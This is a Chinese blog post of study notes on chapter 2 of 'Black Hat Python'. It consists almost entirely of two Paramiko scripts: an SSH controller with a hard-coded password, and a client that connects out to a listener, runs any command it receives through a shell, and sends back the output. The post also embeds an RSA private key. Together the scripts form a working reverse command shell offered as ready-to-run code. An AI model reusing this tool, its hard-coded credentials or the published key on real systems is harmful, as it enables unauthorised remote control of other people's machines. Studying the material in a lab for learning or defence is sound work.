Python黑帽子学习笔记-----第二章
来源:互联网 发布:家用网络50兆 编辑:程序博客网 时间:2024/04/30 07:41
# -*- coding:utf-8 -*-import socketimport paramikoimport threadingimport sysimport timeimport logginglogging.basicConfig()#paramiko.OPEN_SUCCEEDED# 使用Patamiko示例文件的密钥host_key = paramiko.RSAKey(filename='test_rsa.key')#host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self,kind,chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED #return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self,username,password): if(username == 'hugo') and (password == '123'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILEDserver = sys.argv[1] # ipssh_port = int(sys.argv[2]) # porttry: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) sock.bind((server,ssh_port)) sock.listen(100) print('[+] Listening for connection ...') client,addr = sock.accept()except Exception,e: print('[-] Listen failed: ' + str(e)) sys.exit(1)print('[+] Got a connection!')try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException,x: print('[-]SSH negotiation failed.') chan = bhSession.accept(20) print('[+] Authenticated!') #time.sleep(0.01) #print(chan.recv[1024]) #chan.send('Welcome to bh_ssh') while True: try: command = raw_input("Enter command:").strip('\n') if command != 'exit': chan.send(command) print(chan.recv(1024) + '\n') else: chan.send('exit') print('exiting') bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close()except Exception,e: print('[-] Caught exeption: ' + str(e)) try: bhSession.close() #bhSession.close() except: pass sys.exit(1)
# -*- coding:utf-8 -*-# bh_sshRcmd.pyimport threadingimport paramikoimport subprocessimport timedef ssh_command(ip, user, passwd,command, port = 8884): client = paramiko.SSHClient() # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥 client.connect(ip, port, username=user, password=passwd) #连接 ssh_session = client.get_transport().open_session() #打开会话 if ssh_session.active: #command = ssh_session.recv(1024) ssh_session.send(command) #执行命令 print ssh_session.recv(1024) #返回命令执行结果(1024个字符) while True: command = ssh_session.recv(1024) #从ssh服务器获取命令 try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(str(cmd_output)) except Exception, e: ssh_session.send(str(e)) client.close() returnport = int(raw_input("Please enter the port:"))ssh_command('192.168.64.128','hugo','123','ClinetConnected',port)
-----BEGIN RSA PRIVATE KEY-----MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyzoWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKBgBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fonsoVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9HtYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqUavNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3gH0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTvqfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wVHhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiScnvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7-----END RSA PRIVATE KEY-----
阅读全文
0 0
- Python黑帽子学习笔记-----第二章
- Python黑帽子学习笔记-----第三章
- 《Python黑帽子》学习笔记
- Python黑帽子开篇
- 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记
- python黑帽子 pydasm 配置
- 读书笔记 -《Python 黑帽子》 ( 一 )
- 读书笔记 -《Python 黑帽子》 ( 三 )
- 读书笔记 -《Python 黑帽子》 ( 二 )
- 读书笔记 -《Python 黑帽子》 ( 四 )
- 读书笔记 -《Python 黑帽子》 ( 五 )
- Python黑帽子:取代netcat
- 《python 黑帽子》 示例 :TCP客户端
- 《python 黑帽子》 示例 :UDP客户端
- Python 黑帽子 snffer ip header decoder
- python黑帽子之netcat(chapter1)
- python学习笔记第二章
- python学习笔记 第二章
- Jzoj4711 Binary
- 文章标题
- OSI的参考模型体系结构
- PAT 1001. Battle Over Cities
- jquery中attr和prop的区别
- Python黑帽子学习笔记-----第二章
- Spark性能优化指南——基础篇
- 【Leetcode-easy-136】Single Number
- leetcode 407. Trapping Rain Water II
- 第二章课后练习:第二大题(问答题)
- POJ
- eclipse Maven配置与实例
- Nand Flash学习笔记2-Program的介绍
- 3. Longest Substring Without Repeating Characters